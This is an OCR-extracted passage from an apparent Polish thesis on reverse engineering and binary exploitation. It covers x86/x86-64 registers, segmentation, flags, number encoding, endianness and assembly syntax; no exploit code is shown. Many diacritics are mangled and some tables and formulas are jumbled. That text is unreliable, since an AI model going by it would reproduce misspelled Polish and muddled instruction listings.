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1. Wstep

Pomimo rozwoju nowych technologii i zabezpieczen systemdéw operacyjnych oraz tworzenia
coraz to nowszych mechanizméw wykrywajacych krytyczne btedy, badacze bezpieczenstwa wciaz
odnajduja kolejne luki w oprogramowaniu — cho¢ w dzisiejszych czasach nie jest to juz tak proste
— wladnie ze wzgledu na coraz wieksza popularyzacje oraz tworzenie oprogramowania pozwala-
jacego automatycznie wykrywaé niektére btedy — dzieki czemu czesto juz na etapie rozwoju
programu mozna sie ich tatwo pozby¢. Niskopoziomowe bledy bezpieczenstwa nierzadko pozwa-
laja na eskalacje uprawnien lub wrecz na przejecie kontroli nad dana maszyna.

Obecnie majaca miejsce popularyzacja urzadzen Internetu rzeczy — IoT (ang. Internet
of Things) — wiaze sie z podlaczaniem do Internetu kolejnych urzadzen wbudowanych. Oprogra-
mowanie dzialajace na tych urzadzeniach nierzadko tworzone jest w jezykach programowania
nie zapewniajacych nalezytego bezpieczenstwa jak na przyklad C, C++ czy asembler. Ma to
oczywiscie swoje uzasadnienie w tym, ze jezyki te doskonale nadajg sie do urzadzen wbudo-
wanych ze wzgledu na mozliwos¢ manualnego zarzadzania pamiecia, wysoka wydajnoscia czy
niewielkim rozmiarem programu.

Mnogo$¢ btedéw w oprogramowaniu sprawia, ze wiele oséb ich szuka. W branzy bezpieczen-
stwa rozréznia sie tak zwane ,czarne kapelucze” (ang. black hats), czyli osoby wykorzystujace
bledy do nielegalnych celéw — oraz ,biale kapelusze” (ang. white hats) — badaczy bezpieczenstwa,
ktorzy zglaszaja znalezione bledy do wydawcéw oprogramowania lub w platnych programach
bug bounty. Istnieja takze firmy skupujace eksploity — czyli programy wykorzystujace dany btad
— ktore w zalezno$ci od oprogramowania oraz tego co mozna osiggnaé danym eksploitem oferuja
od kilku tysiecy do nawet 1,5 miliona dolaréw. Przykladowo za remote jailbreak na system Apple
i0S, czyli eksploit, ktéry pozwolitby na zdalne przejecie kontroli nad danym urzadzeniem wraz
z uzyskaniem uprawnien administratora system [1].

Jednym ze sposobdéw zaznajomienia sie z tematyka przedstawiona w pracy sa druzynowe
turnieje CTF — Capture The Flag. Polegaja one na rozwiazywaniu zadan w kategoriach po-
wiazanych z bezpieczenistwem /hackingiem takich jak bezpieczenstwo aplikacji webowych (web),
bezpieczenstwo aplikacji natywnych (pwn lub tez binary exploitation), inzynieria wsteczna (re),
kryptografia (crypto), analiza Sledcza (forensics), steganografia (stegano) oraz rzadziej progra-
mowanie i algorytmy (ppc). Zawody CTF zazwyczaj sa organizowane przez zespoly grajace
w takie konkursy dla innych zespotéw. Odbywaja si¢ Srednio co dwa tygodnie i wigkszo$¢ z nich
rozgrywanych jest zdalnie — choé¢ niektore rozgrywki maja miejsce na réznych konferencjach

zwiazanych z tematyka bezpieczenstwa. W konkursach bierze udziat od 100 do nawet 1000 dru-



zyn (wliczajac w to druzny jednoosobowe) z calego swiata. CTFy trwaja typowo od 12 do 48
godzin. Wyniki poszczegdlnych konkurséow sa gromadzone w serwisie https://ctftime.org,
ktéry od lat prowadzi réwniez ranking ogdlny.

Celem niniejszej pracy jest przedstawienie wybranych technik inzynierii wstecznej, znajdywa-
nia bledéw oraz ich wykorzystywania w aplikacjach natywnych na architekture x86' oraz x86-64.
W pracy skupiono sie gtéwnie na aplikacjach natywnych w systemach Linux. Zostaly przed-
stawione i opisane podstawowe kwestie zwiazane z inzynieria wsteczna, architektura x86 oraz
x86-64, jezykiem asembler, konwencje wywotan funkcji czy narzedzia wykorzystywane podczas
procesu inzynierii wstecznej. Opisano rowniez to w jaki sposob wywolywane sa funkcje z biblio-
tek dynamicznych czy jak wyglada punkt wejécia dla programoéw napisanych w réznych jezykach
programowania. Praca zawiera informacje na temat zabezpieczen programéw w systemie Linux.
Przedstawiono réwniez wybrane bledy popelniane przez programistéow, ktére moga by¢ krytycz-
nymi btedami z perspektywy bezpieczenstwa systemu. Omdwiono réwniez techniki pomagajace
w znajdowaniu btedéw oraz techniki wykorzystywania poszczegdlnych btedow. Przeprowadzono
rowniez analize wybranych probleméw pochodzacych z konkurséw Capture The Flag.

Wszelkie przedstawione w pracy przyktady — jezeli nie zostalo napisane inaczej — uruchomiono
lub przetestowano w nastepujacej konfiguracji:

e System Arch Linux z jadrem w wersji 4.12.3-1-ARCH,

o Kompilator GCC w wersji 7.1.1 20170630,

e Jezyk Python 2.7.13 wraz z modulem Pwntools w wersji 3.6.1,

e Debugger GDB 8.0 skompilowany z wsparciem jezyka Python 3.6.1 wraz z rozszerzeniem

Pwndbg o numerze wersji? 6alfdb2,

o Interaktywny deasembler IDA Pro w wersji 6.8.

Aby méc w pelni zaglebié sie w temat inzynierii wstecznej, znajdywania bltedéw oraz eksplo-
itacji aplikacji natywnych, warto zapoznaé sie z architektura x86, jezykiem asembler, konwen-

cjami wywolan oraz struktura samych plikéw wykonywalnych.

LCzyli 32 bitows architekture procesoréw. x86 jest réwniez okreslane w dokumentach firmy Intel jako TA-32.
2Numer wersji Pwndbg to numer wersji pochodzacy z systemu kontroli wersji Git.
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1. Wstep

1.1. Inzynieria wsteczna (ang. reverse engineering)

Inzynieria wsteczna — zwana takze inzynieria odwrotna — jest procesem badania produktu
w celu pozyskania wiedzy miedzy innymi o jego dziataniu i sposobie jego wykonywania lub po-
nownego wytworzenia tego produktu bazujac na uzyskanych informacjach. Proces ten — w przy-
padku oprogramowania — wykorzystuje si¢ w celach:

o Analizy zloSliwego oprogramowania,

e Modyfikacji aplikacji bez dostepu do ich kodu zrédlowego — np. w przypadku starych

aplikacji podatkowych, gdzie zachodzi potrzeba zmiany wartosci procentowej podatku,
o Analizy protokoltéw,

o Odzyskiwania kodu zrédlowego (np. poprzez deasemblacje oraz dekompilacje).
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x86 to rodzina architektur procesoréw typu CISC! zapoczatkowana przez firme Intel poprzez
wydanie 16-bitowego procesora 8086. W przypadku 32-bitowych procesoréw x86, czyli x86-32
mozna sie spotkaé réwniez z nazwa [A-32 (z ang. Intel Architecture 32 bit; firmy Intel) lub i386.
64-bitowa wersja x86, czyli x86-64 nazywana jest réwniez AMDG64 lub Intel 642 [2].

2.1. Rejestry procesora

Rejestry to umieszczone wewnatrz procesora niewielkie komoérki pamieci. Sposrod dostepnej
pamieci — rejestréw, pamieci podrecznej, pamieci RAM oraz swap-u — procesor moze sie dostaé

do nich najszybciej i to na nich wykonuje operacje [3].

2.2. Rejestry ogoélnego przeznaczenia

Procesory zgodne z architektura x86-32 posiadaja 8 32-bitowych rejestréw ogdlnego przezna-
czenia (ang. GPR — General-Purpose Registers), ktore dziela si¢ na rejestry danych oraz rejestry
adresowe.

Nazwy rejestréow danych oraz rejestrow adresowych sa poprzedzone litera ,,E”, ktéra moéowi
o wielkosci rejestréow — w tym przypadku sa to rejestry 32-bitowe. Programista moze odnies$¢
sie do nizszej, 16-bitowej czesci tych rejestréw poprzez usuniecie prefiksu z nazwy rejestru.
Ta czesé rejestru, w przypadku rejestréw danych, dzieli sie réwniez na wyzsza i nizsza — dwie
8-bitowe czesci, do ktérych réwniez mozna odwotaé sie bezposrednio. W sytuacji, gdy potrzebny
jest dostep np. do wyzszej, 16-bitowe]j czesci rejestru nalezy skorzystaé z operacji bitowych.

Na architekturze x86-32 istnieja nastepujace rejestry danych:

o EAX — akumulator (ang. accumulator) — wykorzystywany w operacjach arytmetycznych,

o ECX - licznik (ang. counter) — uzywany gléwnie jako licznik petli,

o EDX - rejestr danych (ang. data) — wykorzystywany w operacjach arytmetycznych oraz

operacjach wejscia/wyjscia,

o EBX - rejestr bazowy (ang. base) — uzywany jako wskaznik na dane.

LCISC - ang. Complex Instruction Set Computing — rodzaj procesoréw, w ktérych pojedynczy rozkaz wykonuje

kilka mikrooperacji (np. pobieranie instrukcji, dekodowanie, wykonanie oraz zapisanie wyniku).
2Jak mogloby sie mylnie wydawaé, nazwa ta nie okreéla tego samego co IA-64, ktéra jest pierwotng nazwa, 64

bitowej architektury Intel Itanium.
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W rejestrach adresowych podzial konczy sie na 16-bitowej czesci. Nie mozna zatem uzyskaé
bezposredniego dostepu do nizszych czy wyzszych 8-bitoéw dolnej 16-bitowej czesdci rejestru.

Rejestry te to:

o ESI — rejestr indeksowy, wskaznik zrodla (ang. source index),
o EDI - rejestr indeksowy, wskaznik przeznaczenia (ang. destination indezx),
o« EBP — wskaznik bazowy — okresla poczatek ramki stosu,

e ESP — wskaznik wierzchotka stosu.

Rejestry ESI oraz EDI sa wykorzystywane w operacjach blokowego kopiowania danych (in-

strukcjach rep, repe, repz, repne, repnz).

W x86-64 rejestry ogdlnego przeznaczenia zostaly rozszerzone do 64-bitowych, a ich nazwa
zostata poprzedzona litera ,R”. Dodano réwniez 8 64-bitowych rejestrow R8-R15, w ktérych moz-
liwy jest dostep do ich 32-bitowych czesci poprzez zakoniczenie ich nazw litera ,,D”, do 16-bitowej
poprzez uzycie sufiksu ,W” oraz 8-bitowych przez sufiks ,,B”. Dodatkowo wprowadzono mozli-
wos¢ odwolania sie do 8-bitowej dolnej czesci rejestrow adresowych (RSI, RDI, RBP oraz RSP)

poprzez sufiks ,,L.”. Dostep do poszczegdlnych czesci rejestréw zostal zaprezentowany w tabeli 2.1.

Tabela 2.1. Podziat rejestrow ogélnego przeznaczenia x86-64.

Dostep do bitéw

63-0 31-0 15-0 15-8 7-0
RAX EAX AX AH AL
RBX EBX BX BH BL
RCX ECX CX CH CL
RDX EDX DX DH DL

RSI ESI S1 - SIL
RDI EDI DI - DIL
RBP EBP BP - BPL
RSP ESP SP - SPL

R8 R8D R8W - R8B
R9 R9D ROW - R9B

R10 R10D R10W - R10B

R11 R11D R11W - R11B

R12 R12D R12W - R12B

R13 R13D R13W - R13B

R14 R14D R14W - R14B

R15 R15D R15W - R15B
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2.3. Wskaznik instrukcji

Wskaznik instrukcji®. IP (ang. Instruction Pointer) jest rejestrem, ktéry przechowuje
wzgledny adres instrukcji?, ktéra zostanie wykonana przez procesor.

W 32-bitowych aplikacjach rejestr IP jest rozszerzony do rejestru EIP, a dla 64-bitowych
do RIP. Wartosci tych rejestrow nie da si¢ odczytac¢ bezposrednio, a zmodyfikowaé mozna jedy-
nie poprzez instrukcje skokéw oraz wywotania i powrotu z funkcji. Zostato to oméwione w sek-

cjach 3.8 oraz 3.5.

2.4. Rejestry segmentowe

W procesorach o architekturze x86 istnieje 6 rejestréw segmentowych o rozmiarze 16 bitéw”:

o CS — segment kodu (ang. code segment),

o DS — segment danych (ang. data segment),

o SS — segment stosu (ang. stack segment),

o« ES, FS, GS — rejestry dodatkowe dla danych.

Rejestry te, w zalezno$ci od trybu pracy procesora, wykorzystywane sa w rézny sposob.

2.4.1. Tryb rzeczywisty procesora

Tryb rzeczywisty jest pierwszym, 16-bitowym trybem pracy procesoréw z rodziny architek-
tur x86. W celach zachowania kompatybilno$ci wstecznej wszystkie procesory z rodziny x86
rozpoczynaja prace w trybie rzeczywistym.

W trybie tym rejestry segmentowe sa SciSle zwigzane z segmentacja pamieci. Ich rolg jest
przechowywanie poczatkowych adreséw obszaréow pamieci, w ktérych znajduja sie rozkazy, dane
oraz stos programu. Dzieki temu mechanizmowi mozliwe jest zaadresowanie wiekszej przestrzeni
pamieci, niz to wynika z mozliwosci adresowania pojedynczym 16-bitowym rejestrem.

Adres logiczny (programowy) zapisywany jest jako dwie liczby 16-bitowe — segment (nu-
mer segmentu) oraz przemieszczenie (ang. offset). Adres logiczny zapisuje sie jako segment:offset.

Adres fizyczny liczony jest jako: segment * 16 + offset. Segmenty nie sg rozlaczne, a zatem
wiele — dokladnie 4096 — réznych adreséw logicznych moze odwolywac sie do tej samej komorki

pamieci, na przyktad:

3Wskaznik instrukcji jest czasem mylony z licznikiem programu, PC (ang. Program Counter), ktéry wystepuje
na innych architekturach. W przeciwienstwie do IP, wskazuje on jednak bezposrednio instrukcje, ktéra ma sie
wykonadé [4].

4 Adres bezwzgledny jest obliczany w rézny sposéb w zaleznosci od trybu pracy procesora. W obliczeniach

tych wykorzystywany jest rejestr segmentowy cs.
®Tak naprawde rejestry te sa wicksze, a 16-bitowa cze$é¢ przedstawiona w dokumencie to ich jawna czesé

(ang. visible). Niejawna — czy tez ukryta (ang. hidden) cze$é nazywana jest w jezyku angielskim descriptor cache

lub shadow register [5].
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segment:offset = 0x0000:0x7c00

adres fizyczny = 0x0000x0x10 + 0x7c00 = 0x7c00
segment:offset = 0x07c0:0x0000
adres fizyczny = 0x07c0x0x10 + 0x0000 = 0x7c00

Ze wzgledu na to, ze segment i przemieszczenie maja rozmiar 16 bitéw, w trybie rzeczywistym
mozna maksymalnie zaadresowaé OxFFFF + OxFFFF+«0x10 = 1114095 bajtéw (w zaokra-
gleniu - 1088 kB)° [6].

2.4.2. Tryb chroniony procesora

Tryb chroniony jest gléwnym trybem pracy procesoréw z rodziny x86. Umozliwia stroni-
cowanie pamieci oraz korzystanie z pozioméw uprawnienn (ang. privilege levels lub tez rings).
Funkcjonalnoéci te pozwalaja systemowi operacyjnemu na izolacje, kontrole oraz zapewnienie
bezpieczenstwa aplikacji uzytkownika [7].

W trybie chronionym rejestry segmentowe wykorzystywane sa jako selektory segmentéw.
Selektor segmentu zostal przedstawiony na rysunku 2.1. Dzieli sie on na trzy czescei:

e Bity 0-1 oznaczaja poziom uprawnien. Poziom jest oznaczany przez wartosci od 0-3, gdzie

0 to poziom najbardziej uprzywilejowany — tzw. ring 0.

e Bit 2 méwi o tabeli deskryptoréow — wytaczony oznacza globalng tabele deskryptoréw
(GDT - Global Descriptor Table), a wlaczony — lokalng (LDT-(ang. Local Descriptor Ta-
ble).

o Warto$¢ utworzona z bitéw 3-15 jest indeksem w danej tabeli deskryptordw.

15 3

210
Index T RPL

Table Indicator
0=GDT
1=LDT

Requested Privilege Level (RPL)

Rysunek 2.1. Selektor segmentu [8].

W powszechnie uzywanych systemach operacyjnych (Windows, Linux, Mac OS X) wartosci
rejestrow segmentowych ustawiane sa na podstawie poziomu uprzywilejowania, czyli tego czy
system operacyjny znajduje si¢ w przestrzeni uzytkownika (ang. user space), czy w przestrzeni
jadra (ang. kernel space). Wyjatkiem sg rejestry FS oraz GS, ktore sa wykorzystywane przez
systemy operacyjne do specjalnych celéw.

Na 32-bitowych systemach Windows rejestr FS wskazuje na strukture TIB (ang. Thread In-

formation Block; zwanej takze TEB — Thread Environment Block), ktora przechowuje informacje

SWymaga to wlaczonego bitu adresowego A20, ktéry domyslnie jest wylaczony w celach zachowania kompa-

tybilnosci ze starszymi procesorami. Bez wlaczenia go mozliwe jest zaadresowanie jedynie 1024 kB pamieci.
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o obecnie wykonywanym watku. Na 64-bitowych systemach Windows role te pelni rejestr GS [9].

W systemach Linux rejestr GS jest uzywany przez jadro systemu do przechowywania danych
zwigzanych z procesorem. Rejestry GS oraz FS sg réwniez wykorzystywane przez kompilator
GCC do wskazywania na pamieé lokalna watku — TLS (ang. Thread-local storage) oraz do prze-
chowywania oryginalnej wartosci kanarka stuzacego jako zabezpieczenie przed nadpisaniem stosu

(zabezpieczenie to zostalo opisane w sekcji 5.2) [10].

2.5. Rejestr stanu

Rejestr stanu, nazywany réwniez rejestrem flag przechowuje informacje o stanie procesora.
Wartosci poszczegdlnych flag moga by¢ zalezne od ostatnio wykonanej instrukeji lub trybu pracy
procesora. Poprzez flage rozumiemy warto$¢ pojedynczego bitu w tym rejestrze.

Pierwotnie byl to rejestr 16-bitowy i nazywany byl rejestrem FLAGS. W procesorach 32-
bitowych rejestr ten jest 32-bitowy i nazywany jest EFLAGS, natomiast w 64-bitowych — ana-
logicznie jest on 64-bitowy i nazywany jest RFLAGS. W tabeli 2.2 przedstawiono mapowanie
bitéw rejestru flag i jego kolejnych rozszerzen na poszczegdlne flagi.

Flagi dzielimy na trzy kategorie:

e statusu,

e kontrolne,

e Systemowe.

W przypadku programéw dziatajacych w trybie uzytkownika interesujace sa glownie flagi
statusu, gdyz sporo instrukcji modyfikuje lub wykorzystuje ich warto$é. Zostaly one opisane

ponizej.

Flagi statusu

Flagi statusu okreslaja wynik operacji arytmetycznych takich jak dodawanie (add), odejmo-

wanie (sub), mnozenie (mul) oraz dzielenie (div). Sa to flagi:

CF — flaga przeniesienia (ang. carry flag) — jest ustawiana gdy operacja arytmetyczna powo-
duje przeniesienie albo pozyczenie najbardziej znaczacego bitu w wyniku; w innym wypadku
jest czyszczona. W przypadku arytmetyki na liczbach catkowitych bez znaku wskazuje czy
wystapilo przepelnienie wartosci.

PF — flaga parzystosci (ang. parity flag) — jest ustawiana jesli najmniej znaczacy bajt wyniku
zawiera parzysta liczbe bitéw 1; w innym wypadku jest czyszczona.

AF — pomocnicza flaga przeniesienia (ang. auziliary carry flag) — jest ustawiana gdy opera-
cja arytmetyczna powoduje przeniesienie lub pozyczenie trzeciego bitu w wyniku; w innym
wypadku jest czyszczona. Jest wykorzystywana w arytmetyce na liczbach BCD (ang. Binary-
Coded Decimal — system dziesietny zakodowany dwdjkowo).

ZF — flaga zera (ang. zero flag) — jest ustawiana gdy wynik jest zerem; w innym wypadku jest
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Czyszczona.
SF — flaga znaku (ang. sign flag) — ustawiana na te sama wartos$¢ jaka ma znaczacy bit w wyniku,
czyli bit znaku w liczbach calkowitych ze znakiem (warto$¢ 0 — liczba dodatnia, 1 — liczba
ujemna).

OF — flaga przepelnienia (ang. overflow flag) — ustawiana, jezeli wynik operacji na liczbie
catkowitej jest za duza liczba dodatnia lub za mala liczba ujemna (nie uwzgledniajac bitu
znaku) aby moéc zmiescié sie w danym operandzie”; w innym wypadku jest czyszczona.
Sposrod flag statusu tylko wartosé flagi CF mozna zmieni¢ bezposrednio — poprzez instrukcje
stc, clc oraz cmc. Istnieja réwniez instrukcje ktére kopiuja dany bit do wartoéci CF (bt, bts,
btr oraz bte) [11].
Oprécz operacji arytmetycznych flagi statusu wykorzystywane sa tez w instrukcjach:
o skokéw warunkowych — Jec (gdzie CC to kod warunku) — na przyklad:
jo — jump if overflow — skocz gdy OF=1,
o warunkowego ustawienia bajtu — SETcc,
e petli warunkowych — LOOPcc,

o warunkowej wersji instrukcji mov — CMOVcec.

"rejestrze lub pamieci
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Tabela 2.2. Kolejne bity rejestru flag wraz z wyjasnieniem. Niektore z bitéw sa zarezerwowane i nie

nalezy ich uzywac.

Rejestr FLAGS (16-bitowy)

Bit Skrét Opis Kategoria
0 CF flaga przeniesienia (carry flag) statusu
1 - bit zarezerwowany, zawsze 1 -
2 PF flaga parzystosci (parity flag) statusu
3 - bit zarezerwowany -
4 AF flaga wyréwnania (auziliary carry flag) statusu
5 - bit zarezerwowany -
6 7ZF flaga zera (zero flag) statusu
7 SF flaga znaku (sign flag) statusu
8 TF flaga pracy krokowej (trap flag lub single step flag) systemowa
9 IF flaga przerwan (interrupt enable flag) systemowa,
10 DF flaga kierunku (direction flag) kontrolna
11 OF flaga przepelienia (overflow flag) statusu
12,13 TOPL poziom uprzywilejowania wejscia/wyjscia (1/0 privilege level) systemowe
14 NT flaga zadania zagniezdzonego (nested task flag) systemowa
15 - bit zarezerwowany -
Rejestr ELAGS (32-bitowy)
16 RF flaga wznowienia (resume flag) systemowa
17 VM flaga trybu wirtualnego 8086 (virtual 8086 mode flag) systemowa
18 AC sprawdzenie wyréwnania (alignment check) systemowa
19 VIF flaga przerwania wirtualnego (virtual interrupt flag) systemowa
20 VIP oczekujace przerwanie wirtualne (virtual interrupt pending)  systemowa
21 ID identyfikacja (identification) systemowa,
22-31 - bity zarezerwowane -
Rejestr RFLAGS (64-bitowy)
32-63 - bity zarezerwowane -
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2.6. Kodowanie liczb

Podczas zapisywania wartosci w pamieci lub rejestrze, jest ona zapisywana przy uzyciu od-

powiedniego kodowania.

2.6.1. Kodowanie liczb catkowitych ze znakiem

Liczby caltkowite ze znakiem koduje si¢ w kodzie uzupetnienn do dwoch (U2 lub ZU2).

Wartos¢ w N-bitowej liczby catkowitej ze znakiem a,_1a,—2...ag oblicza si¢ jako:
w=—an_12V71 4+ TN 2 q;20

Najstarszy bit specyfikuje znak liczby, przez co jest réwniez nazywany bitem znaku.
W U2 przedzial kodowanych liczb nie jest symetryczny — na N bitach da sie zapisa¢ liczby

z zakresu:
[_2N—172N—1 _ 1]

Warto pamietaé o ryzyku przepelnienia zmiennej, ktére moze wystapi¢ w przypadku korzystania
z operacji arytmetycznych, rzutowania lub konwersji. Efektem przepelnienia na architekturze x86

i x86-64 w zaleznosci od operacji moze by¢ przyciecie wyniku, saturacja lub tez wyjatek.

2.6.2. Kodowanie liczb catkowitych bez znaku

Liczby calkowite bez znaku koduje sie w naturalnym kodzie binarnym — NKB, nazywanym
réwniez naturalnym systemem dwéjkowym.

Wartos¢ w N-bitowej takiej liczby oblicza si¢ jako:
w = Zi\ial Cll'2i
Za pomoca tego kodowania mozna zapisaé liczby z zakresu:

[0,2Y — 1]

2.6.3. Kodowanie liczb zmiennoprzecinkowych

Liczby zmiennoprzecinkowe na architekturach x86 oraz x86-64 zapisywane sg w jednym
z kilku rodzajow kodowan okreslonych przez standard IEEE-754 z roku 1985 (IEEE-754-1985)
zapisany w dokumencie ,IEEE Standard for Binary Floating-Point Arithmetic” oraz jego na-
stepca z roku 2008 (IEEE-754-2008) o tym samym tytule [12].

Kodowanie to sktada sie z trzech czedci:

o Mantysy (najmltodsze bity),

» Wyktadnika (Srodkowe bity),
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o Bitu znaku (najstarszy bit) — jesli jest ustawiony, oznacza liczbe ujemna.

W tabeli 2.3 zaprezentowano budowe popularnych typow zmiennoprzecinkowych TEEE-754
oraz ich istotne wartosci. Opisano kodowania liczb pojedynczej precyzji (ang. single precision
lub tez binary32), podwdjnej precyzji (ang. double precision czyli binary64) oraz rozszerzonej

precyzji (ang. extended precision).

Tabela 2.3. Istotne wartosci popularnych binarnych typéw zmiennoprzecinkowych zgodnych ze standar-

dem IEEE-754 [13].

Single precision Double precision  Extended precision

Wielko$¢ zmiennej 32 bity 64 bity 80 bitow
Wielkos¢ pola znaku 1 1 1
Wielko$¢ wyktadnika 8 11 15

,Obciazenie”
127 1023 16383
wykladnika (stala K)
Zakres wykladnika [-126, 127] [-1022, 1023] [-16382, 16383]

Wielko$¢ mantysy

(w tym liczba 24 (1) 53 (1) 64 (0)
niejawnych bitéw)
Liczba doktadnie

reprezentowanych cyfr 7 15 19
dziesietnych
Maksymalna wartosé 3,402e+38 1,797e+308 1,189e+4932
Minimalna wartosé -3,402e+38 -1,797e+308 -1,189e+4932
Najblizsze zeru
) -1,175e-38, -2,225e-308, -3,362e-4932,
wartosci
1,175e-38 2,225e-308 3,362e-4932
znormalizowane
Najblizsze zeru
. -1,401e-45, -4,940e-324, -3,645e-4951,
wartosci
1,401e-45 4,940e-324 3,645e-4951
zdenormalizowane

Wartos¢ dziesietna liczby zapisanej w IEEE-754 oblicza si¢ ze wzoru:
(_1)bit znaku * (1, bity mantysy)bin " 2b1’ty wykladnika— K

Gdzie K to stala przedstawiona w tabeli 2.3.
Definiuje sie réwniez liczby zdenormalizowane, czyli takie, ktére maja wszystkie bity wy-

ktadnika réwne zero oraz mantyse rézna od zero. Warto$¢ takiej liczby oblicza si¢ ze wzoru:
(—1)bit zmaku (0 hity mantysy)pi, * 2875
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Standard IEEE-754 definiuje rowniez ,,specjalne” wartosci:

—0 — ujemne zero,

40 — dodatnie zero,

—00 — ujemna nieskonczonosd,
400 — dodatnia nieskonczono$é,

NaN (ang. Not a Number) — warto$¢, ktéra nie jest liczba.

2.7. Kolejnos¢ ulozenia bajtéw w pamieci (ang. endianess)

Nie istnieje jeden sposob zapisu bajtéw w pamieci. Aby zinterepretowac liczbe zapisang

w pamieci o danym rozmiarze nalezy postuzy¢ sie jedna z konwencji ustalajaca kolejnosé zapisu

bajtow:

o Little endian — najmniej znaczacy bajt (czyli dolny bajt) jest kodowany jako pierwszy,

o Big endian — najbardziej znaczacy bajt (czyli gérny bajt) jest kodowany jako pierwszy.

Wybor konwencji zalezy gléwnie od architektury procesora. Na architekturze x86 uzywana jest

konwencja little endian. Na rysunku 2.2 przedstawiono zapis 32-bitowej wartosci do kolejnych

adresow w pamieci (a, a+1, ...) w formatach little oraz big endian.

Konwersji pomiedzy sposobami zapisu mozna dokonaé¢ za pomoca operacji bitowych [14].

Rysunek 2.2. Kolejnoséé zapisu 32-bitowej wartosci w pamieci w little endian oraz big endian [15].

32-bit integer 32-bit integer
OAOBOCOD Memory Memory 0A0OBOCOD
e a:O—D a: dA <
——> a+1:0C a+1:|0B| «<———
————> a+2:/0B a+2:|0C| «<——+——
> a+3:|0A| a+3:|0D| =
Little-endian : : Big-endian
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Asembler x86 to rodzina jezykéw programowania niskiego poziomu. Jezyki te pozwalaja
na pisanie instrukcji sktadajacych sie z mnemonikéw — stéw, ktére wyrazaja dana operacje,
oraz operandéw, ktore sa argumentami danej operacji — rejestrami lub wartosciami. Instrukcje
te moga pdzniej zostaé skompilowane przez asembler — kompilator asemblera — czyli zamienione
na kody operacji, zwane takze kodem maszynowym (inaczej natywnym). Prezentuje to rysu-

nek 3.1.

Rysunek 3.1. Nazewnictwo stosowane w programowaniu niskopoziomowym.

mnemonik  operandy

VAN

instrukcja mov eax , 0x1337
asemblacja
kod operacji b8 37 13 00 00

wartos¢ 0x1337 zapisana w little endian
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3.1. Skladnie asemblera

Istnieje wiele sktadni asemblera x86. Dwie najpopularniejsze to AT&T oraz Intel. Sktadnia
AT&T jest wykorzystywana gtéwnie w narzedziach GNU!. Skladnia Intela jest za to uzywana

w wielu innych narzedziach?. Réznice miedzy nimi zostaty zaprezentowane w tabeli 3.1 [16].

Tabela 3.1. Réznice pomigdzy sktadnia AT&T oraz Intel.

Opis AT&T Intel
Kolejnosé Najpierw zrodlo, potem cel Najpierw cel, potem zrédlo
parametréw mov $5, %eax mov eax, 5
. ) Mnemoniki zakonczone znakiem i S
Wielkos¢ o ) Rozmiar podany jawnie
, okreslajacym rozmiar
parametrow?® add DWORD PTR [ebx], Oxbeef

addl $O0xbeef, (%ebx)

Rejestry prefiksowane znakiem, Asembler sam wykrywa typ sym-

Prefiks ] )
wartosci znakiem $. bolu.
Adresacja oraz Zapisane w sktadni
W i h kwadrat h
wyrazenia matema- DISP(BASE, INDEX, SCALE) nawlasach swadratowyc
[ebx+ecx*4 + mem_loc]
tyczne mem_loc ($ebx, ecx, 4)

“Dla sktadni Intela wyréznia sie nazwy QWORD — 8B, DWORD — 4B, WORD — 2B, BYTE - 1B.
Odpowiadajace nazwy dla AT&T to: gword, long (dword), word, byte.

Jak mozna zauwazy¢ sktadnia AT&T posiada nadmiarowe prefiksy, a sposob adresowania po-
legajacy na wyliczaniu adresu adresu jest nieco nieintuicyjny przez potrzebe pamietania na ktérej
pozycji w nawiasie jest indeks, przez ktéry jest mnozona wartosé skali.

W niniejszej pracy wykorzystywana jest skladnia Intela.

YAT&T jest domyslng sktadnia w GDB, objdump czy w GCC w wstawkach asemblerowych.
2Sktadnia Intela jest uzywana miedzy innymi w IDA Pro, Hopper, pwndbg, ropper
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3.2. Podstawowe instrukcje

Tabela 3.2 przedstawia podstawowe instrukcje asemblera x86 wraz z wyjasnieniami ich dzia-

lania.

Tabela 3.2. Podstawowe instrukcje asemblera x86. Niektére z operacji zostaly zapisane w jezyku C.

Instrukcja

Dzialanie

mov ax, 0x5

Kopiuje wartoéé¢ 5 do rejestru ax.

mov r8d, DWORD PTR [rsp+0x30] Kopiuje 4 bajty z adresu rsp+0x30 do rejestru rad.
sub rsp, 0x20 Odejmuje wartos$é 32 od rejestru rsp.

add r10, QWORD PTR [r8+0x10] rl0 = *(r8+0x10)
Kopiuje wartod¢ rbp-0x20 do rejestru rax.
Operacje te mozna zapisaé réwniez jako:

lea rax, [rbp-0x20] mov rax, rbp
sub rax, 0x20
mov eax, [ebx + ecxx4 + 0x4] eax = *(ebx + ecx*4 + 0x4)
lea rax, [rdx + rcxx4 + 0x4] rax = rdx + rcxx4 + 0x4
mov ebx, DWORD PTR [rdx] ebx = * ( (DWORD«) rdx)
mov DWORD PTR [rbx+3], edx % ((DWORD+*) (rbx+3)) = edx

push rdx Odkiada wartosé¢ rejestru rdx na stos.

pop rcx Sciaga wartos¢ ze stosu do rejestru rcx.

‘ Skacze pod adres znajdujacy sie w rejestrze rax — kopiuje
jmp rax

wartos¢ z rejestru rax do rejestru rip'.

cmp eax, Oxe

Poréwnuje wartos¢ w eax z liczbg 14 oraz ustawi odpo-

wiednie flagi w rejestrze EFLAGS.

jz 0x4006e6

Skacze pod adres 0x4006e6, jezeli flaga ZF jest ustawiona.

call func

Odktada na stos adres kolejnej instrukcji i skacze do po-

danej funkcji (pod podany adres).

Sciaga wartosé ze stosu do rejestru rip. Stuzy do powrotu

ret
z funkcji.
W systemach Linux — wykonuje wywotanie systemowe
syscall o danym argumencie (x86-64), w x86-32 stuzy do tego

instrukcja int 0x80.

! Nie istnieje za to instrukcja mov rip, rax. Jest tak, gdyz instrukcja jmp nie musi kodowaé rejestru

docelowego (zawsze wpisuje warto$é do rejestru IP), dzigki czemu zajmuje mniej bajtéw w kodzie wynikowym.



3.3. Adresacja, wyrazenia matematyczne — notacja ,,[]”

3.3. Adresacja, wyrazenia matematyczne — notacja ,,[]”

Operandy pamieciowe (ang. memory operands) zapisuje sie w nawiasach kwadratowych. Po-
zwalaja one obliczy¢ adres bazujac na czterech wartosciach:

o adresie bazowym (rejestr),

o indeksie (rejestr),

o skali — mnozniku indeksu (liczba),

o przemieszczeniu (liczba).

Dla przypomnienia wyrazenie takie wyglada nastepujaco®:
[base+indexxscale + disp]

Zaréwno indeks, skala jak i przemieszczenie sa wartosciami opcjonalnymi, a zatem nie trzeba ich
pisaé. W przypadku nie okreslenia skali oraz okreélenia indeksu, skala jest ustawiana na war-
tos¢ 1.

Tego typu operandy mozna stosowaé jako zrédlo albo jako cel (na przyklad w przypadku
